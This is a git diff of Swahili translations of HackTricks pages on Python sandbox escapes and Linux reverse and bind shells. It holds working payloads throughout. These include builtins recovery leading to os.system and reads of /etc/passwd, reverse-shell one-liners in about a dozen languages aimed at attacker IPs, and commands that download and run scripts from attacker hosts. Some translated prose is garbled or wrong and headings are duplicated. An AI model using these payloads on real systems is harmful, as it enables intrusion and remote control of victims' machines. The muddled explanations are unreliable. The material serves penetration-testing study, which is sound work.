__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Mzigo wa kujengwa ndani
### Mzigo wa kujengwa
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -425,11 +425,11 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **maeneo** kumi/**mia** ya **kupata** **globals**.
[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **tens/hundreds** ya **mahali** ambapo unaweza kupata **globals**.
## Kugundua Utekelezaji wa Kiholela
Hapa nataka kueleza jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mbinu za kudanganya zaidi.
Hapa nataka kueleza jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mbinu za kudanganya zaidi za kutumia.
#### Kupata darasa za msingi kwa kuzidisha
@ -472,7 +472,7 @@ Kuna mengi, na **tunahitaji moja tu** kutekeleza amri:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Tunaweza kufanya kitu kama hicho na **maktaba nyingine** ambazo tunajua zinaweza kutumika kutekeleza amri:
Tunaweza kufanya jambo sawa na **maktaba zingine** ambazo tunajua zinaweza kutumika kutekeleza amri:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -684,13 +684,13 @@ Unaweza kuangalia matokeo ya skripti hii kwenye ukurasa huu:
[broken-reference](broken-reference/)
{% endcontent-ref %}
## Python Format String
## Fomati ya Python String
Ikiwa **unatuma** **string** kwa python ambayo itakuwa **imeboreshwa**, unaweza kutumia `{}` kupata **habari za ndani za python.** Unaweza kutumia mifano iliyopita kupata upatikanaji wa vitu vya kawaida au vya kujengwa kwa mfano.
Ikiwa **unatuma** **string** kwa python ambayo itakuwa **imefomatiwa**, unaweza kutumia `{}` kupata **taarifa za ndani za python.** Unaweza kutumia mifano iliyopita kupata upatikanaji wa vitu vya kawaida au vya kujengwa kwa mfano.
{% hint style="info" %}
Walakini, kuna **kizuizi**, unaweza kutumia ishara `.[]` tu, kwa hivyo **hutaweza kutekeleza nambari za kupindukia**, tu kusoma habari.\
_**Ikiwa unajua jinsi ya kutekeleza nambari kupitia udhaifu huu, tafadhali nisiliana nami.**_
Walakini, kuna **kizuizi**, unaweza kutumia ishara `.[]` tu, kwa hivyo **hutaweza kutekeleza nambari za kupindukia**, tu kusoma taarifa.\
_**Ikiwa unajua jinsi ya kutekeleza nambari kupitia udhaifu huu, tafadhali nisiliana.**_
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
@ -711,16 +711,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Tafadhali angalia jinsi unavyoweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **elementi ya dict** kwa kutumia **mabano** bila alama ya nukuu `__globals__[CONFIG]`
Tambua jinsi unavyoweza **kufikia sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **elementi ya dict** kwa kutumia **mabano** bila alama za nukuu `__globals__[CONFIG]`
Pia angalia unaweza kutumia `.__dict__` kuorodhesha elementi za kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Pia kumbuka unaweza kutumia `.__dict__` kuorodhesha elementi za kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Baadhi ya sifa nyingine za kuvutia kutoka kwa herufi za muundo ni uwezekano wa **kutekeleza** **kazi** **`str`**, **`repr`** na **`ascii`** kwenye kitu kilichotajwa kwa kuongeza **`!s`**, **`!r`**, **`!a`** mtawalia:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Zaidi ya hayo, ni **wezekana kuandika wapangaji mpya** katika darasa:
Zaidi ya hayo, ni **rahisi kuandika muundo mpya** katika darasa:
```python
class HAL9000(object):
def __format__(self, format):
@ -782,7 +782,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` na `func_globals`(Sawa) Inapata mazingira ya kimataifa. Katika mfano unaweza kuona moduli zilizoagizwa, baadhi ya variables za kimataifa na maudhui yao yaliyotangazwa:
`__globals__` na `func_globals`(Sawa) Inapata mazingira ya kimataifa. Katika mfano unaweza kuona baadhi ya moduli zilizoagizwa, baadhi ya variables za kimataifa na maudhui yao yaliyotangazwa:
```python
get_flag.func_globals
get_flag.__globals__
@ -795,7 +795,7 @@ CustomClassObject.__class__.__init__.__globals__
### **Kupata msimbo wa kazi**
**`__code__`** na `func_code`: Unaweza **kupata ufikiaji** wa **sifa hii** ya kazi ili **kupata kifaa cha msimbo** wa kazi.
**`__code__`** na `func_code`: Unaweza **kupata** hii **sifa** ya kazi ili **kupata kipengee cha msimbo** wa kazi.
```python
# In our current example
get_flag.__code__
@ -883,7 +883,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Tambua kwamba **ikiwa huwezi kuingiza `dis` katika sanduku la python** unaweza kupata **bytecode** ya kazi (`get_flag.func_code.co_code`) na **kuidisassemble** kwa kifaa chako. Hutaweza kuona maudhui ya mizani zinazopakiwa (`LOAD_CONST`) lakini unaweza kuzitambua kutoka kwa (`get_flag.func_code.co_consts`) kwa sababu `LOAD_CONST` pia inaonyesha mbali ya mizani inayopakiwa.
Tambua kwamba **ikiwa huwezi kuingiza `dis` katika sanduku la python** unaweza kupata **bytecode** ya kazi (`get_flag.func_code.co_code`) na **kuidisassemble** kwa kifaa chako. Hautaona maudhui ya mizani zinazopakiwa (`LOAD_CONST`) lakini unaweza kuzitambua kutoka kwa (`get_flag.func_code.co_consts`) kwa sababu `LOAD_CONST` pia inaonyesha ofseti ya mizani inayopakiwa.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -907,8 +907,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Kukusanya Python
Sasa, wacha tufikirie kwamba kwa namna fulani unaweza **kudondosha taarifa kuhusu kazi ambayo huwezi kuitekeleza** lakini unahitaji **kuitekeleza**.\
Kama katika mfano ufuatao, **unaweza kupata kifaa cha namna ya kanuni** ya kazi hiyo, lakini kwa kusoma disassemble tu **hujui jinsi ya kuhesabu bendera** (_fikiria kazi ya `calc_flag` yenye utata zaidi_)
Sasa, wacha tuwazie kwamba kwa namna fulani unaweza **kudondosha taarifa kuhusu kazi ambayo huwezi kuitekeleza** lakini unahitaji **kuitekeleza**.\
Kama katika mfano ufuatao, **unaweza kupata kifaa cha namna ya kanuni** ya kazi hiyo, lakini kwa kusoma disassemble tu **hujui jinsi ya kuhesabu bendera** (_fikiria kazi ya `calc_flag` yenye utata zaidi_).
```python
def get_flag(some_input):
var1=1
@ -943,7 +943,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
Kulingana na toleo la python **parameta** za `code_type` zinaweza kuwa na **mpangilio tofauti**. Njia bora ya kujua mpangilio wa parameta katika toleo la python unalotumia ni kwa kukimbia:
Kulingana na toleo la python **vigezo** vya `code_type` vinaweza kuwa na **mpangilio tofauti**. Njia bora ya kujua mpangilio wa parameta katika toleo la python unalotumia ni kwa kukimbia:
```
import types
types.CodeType.__doc__
@ -968,8 +968,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Kupita Mipango ya Ulinzi
Katika mifano iliyotangulia mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza mizunguko yote** na kila kitu katika **mstari mmoja** (na tunaweza kufanya hivyo kutumia **`exec`**).\
Kwa njia yoyote, mara nyingine inaweza kuwa na manufaa **kuunda** **kitu kilichopangwa** kwenye mashine ya ndani na kutekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF).
Katika mifano iliyotangulia mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** na mizunguko yote katika **mstari mmoja** (na tunaweza kufanya hivyo kutumia **`exec`**).\
Kwa njia yoyote, mara nyingine inaweza kuwa na manufaa **kuunda** **kitu kilichokompiliwa** kwenye mashine ya ndani na kutekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF).
Kwa mfano, hebu tuunde na kutekeleza kwa mikono kazi inayosoma _./poc.py_:
```python
@ -1008,7 +1008,7 @@ f(42)
```
## Kudecompile Python Iliyokompiliwa
Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.com) mtu anaweza **kudecompile** nambari ya Python iliyokompiliwa.
Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.com) mtu anaweza **kudecompile** nambari ya python iliyokompiliwa iliyotolewa.
**Angalia mafunzo haya**:
@ -1016,12 +1016,12 @@ Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.c
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %}
## Mambo Mengine ya Python
## Mambo Mbalimbali ya Python
### Kudai
Python inayotekelezwa na maboresho kwa parameta `-O` itaondoa taarifa za kudai na nambari yoyote inayotegemea thamani ya **debug**.\
Hivyo, ukaguzi kama
Kwa hivyo, ukaguzi kama
```python
def check_permission(super_user):
try:
@ -1041,7 +1041,7 @@ print(f"\nNot a Super User!!!\n")
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -1055,6 +1055,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,32 +1,32 @@
# Mabua - Linux
# Mabakuli - Linux
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
**Ikiwa una maswali kuhusu mabua haya unaweza kuyachunguza kwa** [**https://explainshell.com/**](https://explainshell.com)
**Ikiwa una maswali kuhusu mabakuli haya unaweza kuyachunguza kwa** [**https://explainshell.com/**](https://explainshell.com)
## TTY Kamili
**Maranyingi unapopata bua la kurudi**[ **soma ukurasa huu ili upate TTY kamili**](full-ttys.md)**.**
**Maranyingi unapopata bakuli la kurudi**[ **soma ukurasa huu ili upate TTY kamili**](full-ttys.md)**.**
## Bash | sh
```bash
@ -54,11 +54,11 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
```
#### Maelezo ya Shell
1. **`bash -i`**: Sehemu hii ya amri inaanza shell ya Bash ya mwingiliano (`-i`).
1. **`bash -i`**: Sehemu hii ya amri inaanza kiendeshaji cha Bash cha mwingiliano (`-i`).
2. **`>&`**: Sehemu hii ya amri ni maelezo ya mkato kwa **kupelekeza pato la kawaida** (`stdout`) na **makosa ya kawaida** (`stderr`) kwa **mahali sawa**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Hii ni faili maalum inayowakilisha **unganisho la TCP kwa anwani ya IP iliyotajwa na bandari**.
* Kwa **kupelekeza matokeo na mizunguko ya makosa kwa faili hii**, amri inatuma kimsingi pato la kikao cha shell ya mwingiliano kwenye mashine ya mshambuliaji.
4. **`0>&1`**: Sehemu hii ya amri **inapelekeza kuingia kawaida (`stdin`) kwa mahali sawa na pato la kawaida (`stdout`)**.
* Kwa **kupelekeza mito ya pato na makosa kwa faili hii**, amri inatuma kimsingi pato la kikao cha kiendeshaji cha mwingiliano kwenye mashine ya mshambuliaji.
4. **`0>&1`**: Sehemu hii ya amri **inapelekeza kuingia kawaida (`stdin`) kwa marudio sawa na pato la kawaida (`stdout`)**.
### Unda kwenye faili na tekeleza
```bash
@ -67,7 +67,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
```
## Shell ya Mbele
Wakati unashughulika na udhaifu wa **Utekelezaji wa Kanuni Kwa Mbali (RCE)** ndani ya programu ya wavuti inayotumia Linux, kufanikisha shell ya kurudi kunaweza kuzuiliwa na ulinzi wa mtandao kama sheria za iptables au mifumo ya kufilisi pakiti za kina. Katika mazingira hayo yaliyozuiwa, njia mbadala inahusisha kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo uliokumbwa kwa ufanisi zaidi.
Wakati unashughulika na udhaifu wa **Remote Code Execution (RCE)** ndani ya programu ya wavuti inayotumia Linux, kufanikisha shell ya nyuma kunaweza kuzuiliwa na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti yenye utata. Katika mazingira hayo yaliyozuiwa, njia mbadala inahusisha kuanzisha shell ya PTY (Pseudo Terminal) ili kuingiliana na mfumo uliokumbwa na shida kwa ufanisi zaidi.
Zana iliyopendekezwa kwa kusudi hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inasaidia kuingiliana na mazingira lengwa.
@ -103,7 +103,7 @@ Kutumia kabisa ganda la kuingiliana moja kwa moja. Unaweza kuongeza `-b` kwa ush
Njia nyingine ni kutumia utekelezaji wa ganda la mbele la `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Unahitaji tu kurekebisha:
Unahitaji kubadilisha tu:
* URL ya mwenyeji mwenye kasoro
* Kiambishi na kielezo cha mzigo wako (ikiwa ipo)
@ -127,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet ni itifaki ya mtandao inayotumiwa kwa mawasiliano kwenye mtandao.
Telnet ni itifaki ya mtandao inayotumiwa kwa mawasiliano kwenye mtandao. Inaweza kutumika kwa kuingia kwa mbali kwenye mfumo wa kompyuta au kifaa kingine kwa kutumia barua pepe.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -140,7 +140,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
```bash
while true; do nc -l <port>; done
```
Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kukomesha STDIN)
Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kusimamisha STDIN)
**Mnajisi**
```bash
@ -156,25 +156,19 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
```
## Perl
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kama shell ya kuingiliana. Inaweza kufanya kazi kama chombo cha kutekeleza amri za mfumo na pia kama lugha ya scripting.
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kama shellcode kwenye mifumo ya Linux. Inaweza kutumika kwa kuchora sockets, kusoma na kuandika faili, na kufanya shughuli zingine za mfumo. Perl inaweza kuwa chaguo nzuri kwa kuandika shellcode kwa sababu ya uwezo wake wa kufanya kazi na strings na pointers kwa urahisi.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
### Ruby
Ruby ni lugha ya programu iliyoundwa na Yukihiro Matsumoto. Inajulikana kwa sintaksia yake rahisi na inayosoma kama lugha ya asili. Ruby inaweza kutumika kwa ufanisi kama lugha ya skripti kwa kusanidi na kusanikisha mifumo ya Unix.
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## PHP
### PHP
PHP is a popular server-side scripting language that is widely used for web development. It can be embedded into HTML and is commonly used to create dynamic web pages or applications. PHP code is executed on the server, generating HTML which is then sent to the client's browser. PHP can interact with databases, manage sessions, handle forms, and perform many other tasks crucial for web development.
PHP ni lugha ya programu inayotumika sana kwa maendeleo ya wavuti. Inaweza kutumika kwa kujenga programu za seva zinazoweza kutekeleza amri za mfumo wa uendeshaji. Kwa kawaida, PHP inaweza kutekeleza amri za mfumo wa uendeshaji kwa kutumia shell_exec, exec, system, passthru, popen, proc_open, pcntl_exec, backticks, na shell functions. Kwa hivyo, PHP inaweza kutumika kama sehemu ya mnyororo wa shambulio la kuingilia kati kwa kutekeleza amri za mfumo wa uendeshaji.
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -187,8 +181,6 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
```
## Java
Java ni lugha ya programu inayotumika sana kwa maendeleo ya programu za rununu, wavuti, na programu za kompyuta. Java inajulikana kwa ufanisi wake, usalama, na uwezo wa kuhamishika kati ya mifumo tofauti ya uendeshaji.
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
@ -201,13 +193,13 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
```
## Golang
Golang ni lugha ya programu iliyoundwa na Google. Ni maarufu kwa ufanisi wake na rahisi kujifunza.
Golang ni lugha ya programu iliyoundwa na Google. Inajulikana kwa ufanisi wake na urahisi wa matumizi.
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
Lua ni lugha ya programu ya scripting inayotumika sana kwa madhumuni anuwai ikiwa ni pamoja na maendeleo ya michezo, uundaji wa wavuti, na programu za simu. Lua inajulikana kwa urahisi wake wa kujifunza na utendaji wake wa haraka.
## Lua
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -265,9 +257,15 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
### Mfano wa Kesi
### Mzigo
Kwa mfano, tutatumia mfumo wa Linux kama mfano wa kesi yetu.
Kwa kawaida, unataka kudumisha upatikanaji wa shell kwenye mfumo wa kompyuta ya mwathiriwa. Kwa kufanya hivyo, unaweza kutekeleza hatua zaidi za mashambulizi. Kuna njia kadhaa za kupata shell kwenye mfumo wa mwathiriwa, ikiwa ni pamoja na:
- **Reverse Shells**: Hizi ni aina za shell ambazo zinawezesha kompyuta ya mwathiriwa kuungana na kompyuta yako, badala ya kinyume chake.
- **Web Shells**: Hizi ni programu ndogo zilizowekwa kwenye seva ya wavuti ambazo zinaweza kutumiwa kudhibiti mfumo wa kompyuta ya mwathiriwa kupitia kivinjari cha wavuti.
- **Local Shells**: Hizi ni aina za shell ambazo zinapatikana moja kwa moja kwenye kompyuta ya mwathiriwa, mara nyingi kupitia udhibiti wa mbali.
Kila aina ya shell ina faida zake na inaweza kutumiwa kulingana na mazingira na malengo ya mashambulizi yako.
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -279,6 +277,12 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Bind shell
## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Bind shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
@ -301,9 +305,9 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
```bash
while true; do nc -l 79; done
```
Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kusimamisha STDIN)
Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kukomesha STDIN)
**Mnajimu**
**Mnajisi**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
@ -311,7 +315,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
```
## Gawk
## Gawk
Gawk ni programu ya kutumia lugha ya Awk. Inaweza kutumika kama sehemu ya mnyororo wa zana za kufanya uchambuzi wa data kwenye mifumo ya Unix. Gawk inaweza kutumika kwa urahisi kwenye mstari wa amri kusaidia katika kuchuja, kuchambua, na kuchakata data kwa njia ya kiotomatiki.
```bash
#!/usr/bin/gawk -f
@ -349,7 +353,7 @@ Xnest :1
```
## Groovy
na [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) TAARIFA: Java reverse shell pia hufanya kazi kwa Groovy
na [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) TAARIFA: Java reverse shell pia inafanya kazi kwa Groovy
```bash
String host="localhost";
int port=8044;
@ -365,7 +369,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -375,10 +379,10 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
